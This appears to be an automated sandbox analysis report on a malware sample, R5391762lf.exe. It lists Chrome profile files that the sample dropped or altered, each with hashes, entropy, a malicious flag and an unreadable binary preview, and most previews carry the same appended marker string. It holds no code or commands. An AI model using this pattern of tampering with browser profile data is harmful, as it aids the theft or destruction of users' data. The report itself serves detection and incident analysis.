Preview:	...@..&1d.....y..E@[...9...m..cd..p7.4.B'..b@..f..U..B.+..z.....k...F.-g...F.cC\U..m.Z..0.......f..5. .......,...1.w.p35.D....q....C6..&R.....C..@l......S}.I$...8..m..:;..U..8.cw....\|....N/..)....,.LS..-.R..h.Z.3>.C.P..._..c.YK.v\|"c....p[....A.]OQ.!..^......&.>...ux"tv...[..j.........)-......t<.g[=.(.+?N.+.k0})..+\0[W.q..E..6Jn[ n.}.P...BL...%7..t.....8...}b...%....P.!....w..0.v.............~.`..$...x.b.s...;.=f.y.d.........VKv.3j~M/.-.,S`....FI..XsqF...l.2..EwHk.t.s...z.u..u.7".%rt.[.....T.l.......q{....b[.(..o@bb..L..............e..]QS...."tH.=n.%..ki...F....x..Ci.....y.;.dS#....~I... .w...%.2....%..H.cR... .....[..D.d.R..}...s....>.-=.Y..1.&v...!..}...(.W......;..i...=.A=.A...FZ..s..$E...7Z?.Y> .T....@#.7...\|...G..}.9..O..+...51..... .....0.;..2.J..D..o..H.4..Hx... u..U.'NB...d..K.n.r..B....S...+.!.S..0n.e....r.m.j.L.9.+.d.cJ.....w.:..Q...k...."o.............. .%.{xR].X.W=..*....PE..DGk...h..W..<Ra..".Wi.K.f.A..$F.Y...p.k.6._....~.X..

C:\Users\jones\AppData\Local\Google\Chrome\User Data\BrowserMetrics\BrowserMetrics-651D2262-1A18.pma

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	4194638
Entropy (8bit):	0.644224251715288
Encrypted:	false
SSDEEP:	6144:U0ojjB4MR5M4T6DCcsPobeOwah1U1w1nUz:9ox4MXMIce+VwwdC
MD5:	56A820A116FAD2AA660C05FAFDEE138A
SHA1:	0F52EEC2CCF771E9EBDC1E9FB011BA5D630C7037
SHA-256:	FBE89EDF57AEEA9A14DAA3CA8966168DA22D91AB188114FE25DDF4BCD2FAE02F
SHA-512:	B4434AA100E53CD2C551A109F807A53A83F278700E387B547940F4CFB093797BF0A9F05A8815F814041EB6FFBA03D8144DBA7605D4F403A9915060EFA48CAB56
Malicious:	false
Preview:	...@...' ...n... ;..'....%.U.p.....,.BT'.......(Z..,....L.B..E....,.e....I.h.Vb..\|c...j.i.]=..L.?.%...7Bs../S.....L<.\|"...W..L..a_..BE!..=\....X...i...,\|ed.y..SA...'z.ei.>....MU..okM7...n+kLi6.....}.......[....s...B.v..J...N..g..M.E...Nv`h....;..$..G,ck.Y....$.z...C..c./.P..".&_.-"R.93p.}v.....~...)...Q..`aM.....R^..Rc.g.j.x....C?(.......Br....bI.\z.....t.k/6.......p.6,qzM8w.gy64..c1..L.d.T.N z.5w..7Y.....{....v....8E.wYX.x^..7..7..............[ .L......r.Y}d..q...e.e).i..>O'.....=..l.&.....;..2....>..~}(A..QBXV.K.H..y.U..vM.#..H.9.p...TB..d]\|l....g..g...+..K.L.r.....&Ij.Z...N/....=..7Hg....WU....].p@....A.x..cA....}.e...W..O.i.......;.<.F.....J<O?..P.3..^d..u.....,h.B...N....O.....k../(._.r..]^.p..........w.g.r.."..d..jl.....z..vm"1.;r6.CD.%./?..4..we[..(.e.<...mA.3.A.2hm..]\|.i........\|.Y./x@...o..6..x.A..3..i..cY.)..H).\|s.ab....w...33L......U..Y.....S..e;...)L..)...#\.?J..\|+0.....2....k\|.L.B.O..4j7.a.....Z0.[.....w;,......SR...n..`.

C:\Users\jones\AppData\Local\Google\Chrome\User Data\Crashpad\settings.dat

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	374
Entropy (8bit):	7.3072834653003635
Encrypted:	false
SSDEEP:	6:6uXOCCg9T9DLWYIpuGiNe3ndOpbBJy8EJa++f0/eg5kHAbIxIR2MtXqHk7T3eWcq:tOCAcGiGdOpb+fT/egGHeKeXqOTuWciD
MD5:	10B608F9EEE6906F505B630AA15DFE22
SHA1:	A89766114245999C2FFDBA4CE43AB5C0BD307B6C
SHA-256:	B719DB221EBE0ACCDA3991551C307AC12C46BDD679CACD20C4073B1A62278FF4
SHA-512:	2EE514E610392E3ECE127669E997FFA687B52CDAABC7A4BBB1CA87A5D938362BAD6200D09D2E9C31AE11D0A6D46F6F72389A7C81A5E2D54E55B4C9EC09BE00FF
Malicious:	false
Preview:	sdPC.........#.y~c.O....@.....[..H....j......,.^...>......;...'..%...(.+>...T.5>.._.c.~...<.}`.c4..`.cE.......%...u.J...T.6.1_.....Q.<5.v..:Rb....{..=.O...x.?.yo..P#.. .W9.."0.......I!....8.DB..:.F:^...~D;Xg\.C...D7......D&.X........[(X.[.D.....AH....'22`"J..&/*.T,.8.E..`.V.k.-doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\jones\AppData\Local\Google\Chrome\User Data\Default\Extension Rules\000003.log

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	486
Entropy (8bit):	7.4323549370488
Encrypted:	false
SSDEEP:	12:q9Sbn42PtnBc8B9q0Z6ErttyvJiNIY6no/jpCDXqOTuWcii9a:aSb4A39q0xoJsIYJwDXq8uWbD
MD5:	5CC351B7973FFD4F928AC6C1A20F8813
SHA1:	BE9B4B538410513B9FD691EF3D5BC0EE6C59A146
SHA-256:	E8860B807259628FB34A5CF56120C488779D105EB3F4D51F79030EBF53B65129
SHA-512:	93113C6C00C11607398CFCC7DB8BC8F69D3BAD928CB1BF0BC67A15C63C617BFDBE50F0985FBD329EFDE1AAA95CB737EA97D8813C21689E0D46E25C7384AF2677
Malicious:	false
Preview:	.f.5......y..+....'.%....l..b)dQ.P..-..f..f..N. lK...Q?......<0.......U.OX^.y.t...%s....j... ...c.. ......y"..K.ta..Ur.5.6+nc..(.P....S....q.D\<...6.\|.....1..}U..[p......4)_.2>g\(.8..U...[...o!......W..H&x6."...?....bl..Q.(.p..M...1,R0.q.k~Y..u..'i...2tU...o"...n.}....\.n.o7Z.?...v...:..e..tu......%.@...H1..Cf.g..0...9.+p..xqz;g....n;...I.W.....e. .UZ.K!.."..#....#x.U&.....H.$...6.!doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\jones\AppData\Local\Google\Chrome\User Data\Default\Extension Scripts\000003.log

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	486
Entropy (8bit):	7.479214626297769
Encrypted:	false
SSDEEP:	12:qsuVlddaf7JVAtgSswLmX8pXdPSOlsHFge3v5+CuXqOTuWcii9a:du7dYGgzWzXdPZGXh+CuXq8uWbD
MD5:	0C914617ADAD702BF44D841FC3FB5E3B
SHA1:	F63FB72E15088AAC626F9DEF158CC339491EAF2E
SHA-256:	9D7A6F6709B8A9D832EEEF98BFF8CA51E9B20BA20003B6CAFA2C2C82B4D114DC
SHA-512:	3CDCD52426891C8FA45B8EE5045F367385B17E0126FA8E6602A39C36B3D53A17048664138DDBF0BBCB31F06ABDF4D68BCC1446B71004B26846C02324E06A97C6
Malicious:	false
Preview:	.f.5...N..B.$.M....$...q.m.........3y>.Gc3.....3...Jw%...!].....f%.z.....G.[C.............0W."....\|:..$ <..u.9.B....H..=)].....!......V.]...B.R..u5..:99..g5.....\....ql.=Fx0N@.(..3...+.<..&.$.....=.......,.S.Y..LE......k.##...>.T.".t.7....@....LSut..5.U.~.r..B..;..a....qI......&.3\|?....I.V..".....%..[.... .V...%X....(.\J8}...Pn...I.4w#.Y4..L..s..<..-9g.j...0.R.A..[......Q=.'./..Adoc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\jones\AppData\Local\Google\Chrome\User Data\Default\Extension State\000003.log

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	790
Entropy (8bit):	7.767623629293373
Encrypted:	false
SSDEEP:	24:gfjgV9Y/lgmL7+xD3OtnzsOZS+Bbzk4eRaajKXq8uWbD:gYClRU6IO/pPUasKXFuED
MD5:	5562FBAC7DAD6ED8B4CFA8678D5463B9
SHA1:	15D7624714EA054D135E423E3FEC8637D52335DB
SHA-256:	7C48835556D10A8ADC51D640C82BB1C4BF9CBB0865FCF358933833C2D3783B73
SHA-512:	DB7990F32F11093E6385D05E302AE1E43CAB4D741B602754CA74A1E25CF516B2BF1222A3EB62D8891D08325427C7FB892EBE4DC007FD80DD375927CF6FEE8DE2
Malicious:	false
Preview:	.f.5.....?.....M.>.{}o}.K......%.q.e-.....3@.R_..n>....(u=...n...r...Z....Q.%.Dg.#.q.Z&$.,ug..1.^.....@+.X..r.]..\|.anO.6.........).s........gFQ.E.b.......t.p..H<.Z.Y......>.....I.....X..l:u...y.%}....l.LB..........9.t.&..U..6.!.....[."~._'.......q.l^...?v.<....YH.3{<.Gq.D.........7@.=....=.nT........DZ<...j.W....-.\x.)....#D=...5l3.q.....J..2..-.'C.O.}A.Z...J...M...!...]...vU.;......U..J.z ...s.4..1,u ........%..i..Q..d?....=)z$[*/...\|+..W....K..VB.!.nK..CY...o!x....w..I...pp.`.HDc2..D.wS...$..o^....8....-B.MN.....2.M....3......u...ZVH...../...k...>y....C9..`A....8.;..5...5....}.h.P..7..Bp..6Y#.o(.3......z..7>}.E...G.".bN r......+%.K.MRw..a...=....$.../`.L.c..S...T=doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\jones\AppData\Local\Google\Chrome\User Data\Default\Extension State\LOG.old

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	654
Entropy (8bit):	7.595548122210582
Encrypted:	false
SSDEEP:	12:kqAKhKF4j7VLjJ9okM9OJLwLUEcrpdu6drZ10lvBgv9U4XqOTuWcii9a:jAKc49LjU0hZrpg6bW5Bya4Xq8uWbD
MD5:	EDEDC45AA3EDAC1835F110C8C26E8DC1
SHA1:	AF3D1DA2446DC3194E85CA245EF4F87EC1BD21A4
SHA-256:	89CA5D3F19E90388A17C0FC9A5D05EBB9B17E7C049D5C640B3702F08A54B85E1
SHA-512:	667CA599D00969F03C6B1697F5918529B257DD8BADCAFB08998E622F57FE00012EF9BE055FA79CBA65B5E5C7DCC41C501AA4A51B7333A0F9E21CBB72D694A0E5
Malicious:	false
Preview:	2023/...bP.whG..<}..{........L.z..B.vR6..".1.RE.9[..pCf.\|Qp% ..`N.=...-u..........O...pkz..x.Lc.e..\$...Mdv~.Z.B..6p.K.UM..G....A.......W-E...\|.z.-_.6.....,>5Q.R4......O.B.......mr.).P....IO.....A..h.......M.}....U.=...\..e..x..2E.+....\|3....J.eC.,..B.S...8.I... ...9.>.S.P..1.l..t....gu.7. ....3.....3+....Z..!~mi.....k.-.}....H.....n..G.o..$bs.. k$.g..-...yN..`3 .Hj*.;....e.............1x......e+o.)..^Jcr....O{y. t...E...I..q.=.N.....7.`.u8........[..>...5.....r..tK.....<7..4.{3`7HWO;nM.-cQn.E..b..)r....v.E..R..Z...X.x.oPG.. .&p..)\n...Zdoc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\jones\AppData\Local\Google\Chrome\User Data\Default\Google Profile.ico

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	198128
Entropy (8bit):	7.998673627143001
Encrypted:	true
SSDEEP:	6144:pBMopbQEIp9yFSihk0KYSE1EVVCvoZhhl+Nz:zRbQh9yIUKYSE1Ul+1
MD5:	FC1B7F5EB8859F1A0681199BC0A796E5
SHA1:	BE4B24C34F99989176588CD81532EB4794CEDF53
SHA-256:	A0811B400FF4BC9D7F358DE6693A2187F51E7F1B1C7A6DA38EF28F862E01E6B5
SHA-512:	FE86A8B4CF62545A65567292492E1779BCF7A749B80C3DB1A6CA3DF64D0DC7EA61CCC4D99B5815E19845E0708C800C74A642426012074866260893C10670C443
Malicious:	true
Preview:	...........<.c...=0:s............[...Aw...,f.E.Gf.....R\U..;.....8./...b..we....:.e............HH.daa..[.I..-..j.......?J[...MFo......d..&...u..(....F.B>........i...%jd.v.......?.K..)`..5J....u.-6!.....aM$....QT.......AW.[\|...8.<2g.5a'...:.eJ.6...]...e..'..=..[.q\.<f.[.....9...!-.v..w.}.....nN...R.d.\\|.?B..A.......?!u......Z....#)...RL3,@:~._&e....\|..bFD.?......p6?p..;f.....K_!.....=.T(....T..XA.).....:@.......fI..c......K.B..y6 "^..(..2...o......#.+...2..VBx.....XOc....\....K......]H$.p.D.`..Q..O..z...P..).@...CU..AuD.]yR~...#vI....L......../.O..T...oMBo...p\|....1....R..$G.@Y...y.....B....wB..\.\..[W.%..^..I....X.v...^..TV.....Y4.O.gSi....tq...J..... ...;.....&....n..o`..@.C....)x.8..7<;.h......=.!.a".z..Q.......w.S.][.h.....0T....x..S..sU.v..f...A.nfH]R......D......%....N...#..kD.S.l.l?..~....ZF...y.'.<.7.^.R...Z.b.xDQn.T...V..)...E. X.."..C...-..D.j..@..cISRt.y.S.+....0MX..#...........Z0.3...e%..[..M..9....E.dg.q..5.)....m..z .j

C:\Users\jones\AppData\Local\Google\Chrome\User Data\Default\Session Storage\000003.log

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	855
Entropy (8bit):	7.775686056740582
Encrypted:	false
SSDEEP:	24:ZvLtoOtSX+0ZCB2egk83X9kd7M7rnuYvj+WUuXq8uWbD:ZTtNEu0ZC0s89kd7CLzj8uXFuED
MD5:	FD0E9256C11E3A9341E068A1B995002C
SHA1:	C71BA8D207BC965A59FC69C30EE235FF79AF1AFF
SHA-256:	58F2B175D12D3765D42A294FFEC58617AFF3FDAE195E6CE981019B0BB8F7C9A9
SHA-512:	8B3D6114D0546BDEA5A3E55A1EB34A98FA3178AF3CCDCFBF4E2FDCA5214A2ED88803CADD8826E8670FFD1F0AB21DAF8F76E0FA5C3065EE0361DAEF49A2C547A9
Malicious:	false
Preview:	...#}..ncl^...>Hn....\r4..{c.!...F.E...e..ON..\......$.8.......v.......B..F. %\|.nX...d...c[..."'..^....\...Y.-L...x....U..z....r...U.}@q~s..)D.....srg....]...X7V...\|.wDX.}....Mr.:6.@x..Y..JO.Q...n\....0..t]E.mJ..._...lUJ.........P.....M .>.(..).b..,....C1..G..<e[._.<....~U.^.w...;[.$.w..{Be..0..T?.\.=...C....,k.p.....jA?.T..-.9..l...u..m-)...eb.u$I....0...1.Nm..i.T.U.R..D.#..F.>.Tn...,..^~...X.M>...7.l.....t...!...#}UW+..5.G.!..hHRGQ....X. ..m./PT..O...+\>4.k..b,...f..X"r.....D...J..1.I...e~...;_..]....A...oA8$7.1N.k.F3Z......}.y@.<5.....s...^..,.hEP?..?.%....P....kV...d.D...&i:...2..H...t_(...i.j.y.....?...K:.%..D+...%.....4..P...&.<oFB._I..CU~Y....p..E.[<2.v)v..6.w..k...y..{.9[...q..TSlJn.\|..........S.....*.8M.w..0.K.E.....=HB@8..R.doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\jones\AppData\Local\Google\Chrome\User Data\Default\Session Storage\LOG.old

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	654
Entropy (8bit):	7.6461046556541605
Encrypted:	false
SSDEEP:	12:kZFP3IL/hWHUaxD6JCk44PadyG8WNyNaj9M96Ex4wKc6/+jKXqOTuWcii9a:mILZWF5eiT8WND9N44w/6JXq8uWbD
MD5:	FF1F0DC66E80B6ABAAC6308567BA3953
SHA1:	5A35398F0412B0E7815528F0D0896FFF6B0808FC
SHA-256:	CF52F88263609A7435A27A01BC51C310E78E67DD8565A048A1FEF3960B04CBCD
SHA-512:	0B230284889872AD10AE6F39301EEC2EB79D70A014B8BD932D2CC9BCAEF06D4AFDF1217BF7350101B44FD7C3B2D53F41DBF74A1C80CC9B064DB50995A5646498
Malicious:	false
Preview:	2023/\|..>.q.F......P..$...%_..@.J`.".=.N`0.........l'....H..R,.[..p..R..p.Y.:~...\|c..>.#....as....Q.......D...........k.R.p..;....8...7..#8...d.`?.......RP.s.....I.1......(.....i..^c...B9..x.@.'..\kp.{....3....R..]...\|~...p1...Fe&.....is.&..f.N.g..K.z:..v.e#=....t:.%..s.....io...\.q.D...^."......../...w...Lr:2..-.n....$N...,.....y-e...2<.....C......Q......"dvo.../ZU.$j.cQ1...%.*[.<.W'I./..O.vDX\|.....b...?.}f..E ...P....o..8e..M..D...[...S/.,..F.....\..U.%.x...+..&..r?.2.H<F..]&....G..z.R.#.O$.H..a..~...h.%........8.Kf.c?....T..a.U....doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\jones\AppData\Local\Google\Chrome\User Data\Default\Site Characteristics Database\000003.log

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	374
Entropy (8bit):	7.326890769178471
Encrypted:	false
SSDEEP:	6:Nm95vSIcTOeWrgq+eNyjKXWacxLMfXBBJNqBetivmjzh5RKnCv0wptXqHk7T3eWX:Nm9kpTQrgHqyjKmhcBDO8qknvVXqOTuQ
MD5:	8F9B30F1DF26E65A97BECBB0ADD42E7A
SHA1:	DF44BC89DA964EF1DC22D71F5322BA7E4CAC4FCF
SHA-256:	A34F0EC78FA051A24940639CADEEF5CF61D697C2A6D410CFE0F471AC6AB88C48
SHA-512:	95AD135F298EFFA4938E1F06DF3DDF816CF7270FA2421827AB14EDFA5DDEA77A023FC0BAFBCD0F747027E5EB0E76A49B86409BAF91EB7DA0F1AB04C47C230C8A
Malicious:	false
Preview:	.On.!...6..\|G..X.je.E..e.....L...6_\|0..B.o.Q.P..m........<...{...X.............'....vz.1..j..@89....t...T..u6....MH....g`.......)B.r..H^.~.......'.........w...W..'.....z.\|U...'u.'u..<.Y...A.6.f.b...=...W.T...w.G......)......y....D.[.4I..+*.......+\|..e~...%...X0.j?.\|....N.....#.doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\jones\AppData\Local\Google\Chrome\User Data\Default\Site Characteristics Database\LOG.old

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	682
Entropy (8bit):	7.69109618953916
Encrypted:	false
SSDEEP:	12:kdJFLjD4/AiZxNQwm4ytESnkQxZo32aR3lLte/mz2eUeEt37kAH2EyptI0DXqOTX:ML8AiBvo9kkoGaRXBbu7kEFy/IeXq8uQ
MD5:	B7B41A76922DCC3EE8D8923B9E36894C
SHA1:	26747805B41341F88221661C0805F107C010E103
SHA-256:	CEFCC577897902A546366922D4AA094F5CC41EC32B9F4D2B33D2C10C0A4294DF
SHA-512:	F08C79E6E80302BB2EEE74CEEE5B61E9D20D835502F2CCD2C29FB741512DDE9A4FAB844644A49D32E5E91EB16AD3409EA8EB22A617D37393F69912C870BD8D00
Malicious:	false
Preview:	2023/...6z.F....FZ.PH...j..1..%..?.i......#....._w..s..%9..6.9.fX..ijZ...`..R.".jV....(.uzQ.3G.....4u$[l\|Qw[t.AC.\|}...=0b.N.....6.Va.<f.c.....m..r.'.W....J)..}..+..5....q.....[..k.\.../......k.<b.R.j\|..c..2.=.j~...@;.$$..<.>.zb.\|._.X.Z.j...P&..._..~..?Wg.!x......`....$..q..,H.n"k.......,.FE^.......}..a[e.f..H..m...U.+!...i...?.......R...C..8...X....?....T..D..U2.s.V....\|.r#...g.x.......~.e..}\|qe....']z.v!.'..`.Uz.q..e.L...!..]...X.Ic.y.G.....S+aK...7nq,V.s.w........v.M..PI.^....n......'.;.=..u{..n.......M$.zu)..@\.I.].Z,..X..W,.?.%........ar../..:'..)C1.....t)v".{..[doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\jones\AppData\Local\Google\Chrome\User Data\Default\databases\Databases.db

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	29006
Entropy (8bit):	7.994243413539535
Encrypted:	true
SSDEEP:	768:4/5+AmvHzt7b1kr9v7vJx6+rMKVqNQTz0Kj840Aw9hF0x44:OL0R7RkrlvnRg2ZAKw40PR0x5
MD5:	E9D1D97D77AF6D1D3706E40B44A723F3
SHA1:	EBF397663A30C2C7A935C93D6AE4570402BD6F84
SHA-256:	14FB9AF05B5DBA51B2A13551903D9A26706C765F9224BF2DC2FE8063E5EA8B07
SHA-512:	98ABE85575F4008DD333A1FCEA0BE3324A7C1A05C021DBE01714330BAD8ED4E5DBA22C4A6411132F5936D43DFC23AE9D3FB308D6E9B2FBDFF8B7C23D5F313282
Malicious:	true
Preview:	SQLit{...T.^...>..Y...H.bW.[...;.c;..gh...z.2.U..>A]...b`6k.R8.r.\|'J...=_...1&G2.`^...8..l.......:..":!.)q'..U...j.B.q7(^w".y....o.p..M...w.Z.Ys........gF.).b.\.\|..)..>$a..L2.[.Gc.jN.x.$.guG....ku^...rDM.S".G.vuLQD...vx1\|.y98'.J.d..r"..#....q..^DGQ..Xe{.:+...Q...)uq...Mi5..Ux....v..:Q;)R.7.,..;.%.6i.....Y.1.....9....Iq.5O/..t...7O..Lk-..K.B...D\|.%F\..[...``o.h<.U..............%.Y....^....Yg%..0.:B..\...X..}Oo......+..V.yR^...c..m5....K#.'..PV.j?b_...}..D5.....>X......:....>.}`.~u.."..lrG.q.<..!.....a....~\.........Y.qj.....q..7j.d?....s..4Nt.U].......!.v....GnXy.Xq.......(..(..Z.Y#x.h..<n....1"..;<...F.e9.2....p..+..E......-......B...E.)...e(.{...`.+5.@.R.m~.q._.5.....A..Qx..7IH.t.......X......? ..%N.b-...0..d.x...\|.......W._.....'.X.(........]p..0i.......-$6p.iE..HMs....".Wa........H^`...HB.v.`\;. .@S$.y...n.8..h.......[.....$..9w....#Rn.>....or....L_,.A...c..Tx...Yu...s..7K....4.w....,\|~+F=.".......H.8...}..%...}51&...f3?.[&..

C:\Users\jones\AppData\Local\Google\Chrome\User Data\Default\heavy_ad_intervention_opt_out.db

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	16718
Entropy (8bit):	7.988468727310879
Encrypted:	false
SSDEEP:	384:tMj5ZriLTiHyRk+EldJf+b6FGw/3tgpFKBJkeiGP1rKQ:tZit+27+b1U3tUKHkebP1n
MD5:	0105FA347097DF985DF94C9FB40BC026
SHA1:	DB70DA4BF99E33ABFC208926CD89790D042E22C3
SHA-256:	8FADED83FD48DDF0F03CB7A8A51868F1AA7AB7517F46A7EE2A252CF670F34F8C
SHA-512:	FC1A6EAF8AB1644A4B647972A9AC31D029FD5DE37673E0C1ED38FDB37FAE249E541DAFCDF9E714F582F091AD460B8FD60AD94F7B8DA05CD33BC0DE5F456EB3C6
Malicious:	false
Preview:	SQLit}.b..U..kis.sV+L.g.v.......c..:@.....j..Y...X.."G.Q.+..Z....?..0...:...xY2...Y.B......NX......AG..<#.R.ie.%Lt<...x."H...D.z8.J..Q.~.5..dU..Q.V...3......W.\|.6kR.M..nQ.....W..g.Z.......3{U...:m.5....::.....s..NTe.$.mD...d..K^......."f....\,@L...........E.,.uN...R..>Q.......TG.e;I.M.1c.n].D...+..........(....pC.>.\...;0..t9....;.%=..t..H#..!yeC.Od....+t..&Q....s.A..z.9.......[MU...,K,40.7.O....u..C."ID.{g6.<..\|.......H_.v......H).e....:..xB...5..y..s!..G.w.....M.C.9;#t.=....{+..N5 I.d.....w.p]..".......5...-..!../.S...kZ..X..%.....:G....Yor.S..(..3.._.L..#..z.9..............X....!.....@...&Z..}.d.r.t)].?{.w... }...03+...&.......P.w..T.......fn9/.j..&T.GoK..f.UY..../..J...~..P\...1..Cle.v16.........h 6n.rYc....,z)Oe....$P....m.....U.W.#..g.k..W..V.b+..TH.Eg....D.bYta..EPg.....c:.j<....:)6....w......A(....1..&..N`E...Z..%....\|^[......xKQ~.1^u,X. ..u.qD \............&.r.gz.6..8.A.!1B6..T(.b.'...........Y.h.US.7.5?...%./ph..!v.k8..2g4.E..

C:\Users\jones\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db\000003.log

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	76860
Entropy (8bit):	7.997813330845433
Encrypted:	true
SSDEEP:	1536:Y0bwThjQXJQ9StLAOB4S0MgxD9uEYsbyY+XNSodqRRZUmHnQMnxaPGnBAlKG:9wF8GsNYD9/Ysbp+A8mHQMnYunBAJ
MD5:	38D9E0009ED945C3968234324304DA40
SHA1:	939280DB3298B7DD2CA89894502A6998A8A432E8
SHA-256:	360AFFEEC8B17362DA56EABF26EFB78E9EEAA99AE9D5B27BBEB0992BBF63AA4C
SHA-512:	8ADD14C0640D00A0B85C4099ADA643787A661835565DF4C3CA1B8A616A614641F037999123A0CCC282BCD81A65695D2E37C8EE9308686F94B25BF452422798C3
Malicious:	true
Preview:	A..r.....gFp.....1...OJ.[.o...S...3...l3V<.&Q..s.....#..]@N.rF....~.6..v1..T.....W8u.;:. /. =Jt.t.....\.../.$Z.VW&.. ..v1...M..2_.8s..G.p.....`.x..~.._3>..o...d?..7.3mu.Ma...jR.0..0.QQK3...<.....:WI....z..9...........A.....H&J.f.....R.!{.(}{y.."..7.....<+]..,.>1...t.6.....P..b....x\..'.....^...:....!....8.e...2....T....^.6T.W.d.\..N......=...y..G...Y.D....Si........WI.}>..t...,..`.!0..+.?\.t.....o,..PE..V....w#...b....k;k.{..pC.d.0..?..h.hJ...{/...B0[..9+/....K\|...luF.......S&E]7.,}i.c..X......P.0.,.u.;..J.g.O..3z8R...... .q..K~....&.(.@...z.\|4.Q..&....s...@L....uu.V..vm.P9.....g.B..1>.7.`L..E..o.k..O...4..xR.(.$.Dm~.">B....'S..L.]@.F'....]~.j...[.,%tZ..>.A..-fF......?Rx./..0.+....g..g^.KTV...m.....7l...pN.-.m...k...r.6r.^6~F..1D.'2qqC.I...L.g.~C......!...X..G:....T.r...d....X..gD...S6....I..8....Y..eeb_.(.ol...Ia.TK..#">t....3..\J....e..'0...f{...IM6I.(}T-..0X;.@..?v.-,%I..4.N...:.`."\|h...k..I..z.......kKO...e..+N.,7.U...S.......1..tF.G.c

C:\Users\jones\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db\LOG.old

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	654
Entropy (8bit):	7.6080119807562365
Encrypted:	false
SSDEEP:	12:ke7Bb8xjq6TflcygeHND4LLpA1q18bf9EoRo4xP92HirQ4XqOTuWcii9a:ZBbLUfSliUtA1O8b1EoR/P9LJXq8uWbD
MD5:	2A8893587708F0B00B85AA2E9B731E68
SHA1:	F9F8CAB9BE9CFD7223777BBDC9C0FC9A9C903684
SHA-256:	90BDE6B610636E69807AAF2AB007804AD975F68C6D7925523B3C09480F5D5A88
SHA-512:	6E12AA09E453722762B056F807DDA16A0AAAC01CEA6C22D91953904A3B752443E1F88802E967704BAE3653CB893A031FDB5FBBAF35587A80C3E2C1DCB9269F92
Malicious:	false
Preview:	2023/....!+.V........b...< ... q...y%q.C.K..f6E.i_?.l@.w..a..O.6A..k.cm.%.`p.O..}..>#..{...(.d...V.].>.n...:.....%..C=.5....}(U1.......o..).pK...0\...NQ^d..V.e]:......[Tbh..if!~FHq(.....d..^S<O.D...`.en.8In...(...qU...@zor...2..`.@.Y.[".[!..&...._..... ..Us....l\|......F..8+.....D.....D....7.R.....-.M.\...b...3J/g-.+....}^TjQ..=.\'...Q.E....hM.O:_...f...a8.:..Z.=8...Jh......`...U}......=R[.x.P.}.[.\i.....X....M4N.6./..I.7.......;..(m.\|..j.z+.{L.`8.+..M...3...}.0.9...qB......!..`.2.8...*.;]_oS.-....ln.-v..f"1.......[9....k.U.K..7...f.A%.doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\jones\AppData\Local\Google\Chrome\User Data\Default\trusted_vault.pb

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	372
Entropy (8bit):	7.388782628487282
Encrypted:	false
SSDEEP:	6:CRyA+R/SOFtfokcEnv4C9Cv9pxpYGep8w7Oo5eGSPg6Qux5UnLaxGlHVXrItXqHe:Sw/SOchAy948NJIDuxKLx1mXqOTuWciD
MD5:	C66FAD86B5BBC55A30A56AC7429C674A
SHA1:	358714AAEAD0429F9D9FEBB27AF6F7616692B49E
SHA-256:	078F67A635DA211D10887435826C8E25129A166EC9F2E990C9F2EF4AFF364707
SHA-512:	DAF561DEB6A7DCB6492897F2D4BD5DC428E6F7D8E0CB3F55480C31C23E9ED9ABAAFB1BC51677D97C9732E0D78D098DF9C37DF3BFA0DD73433B19BDEF9515B1FF
Malicious:	false
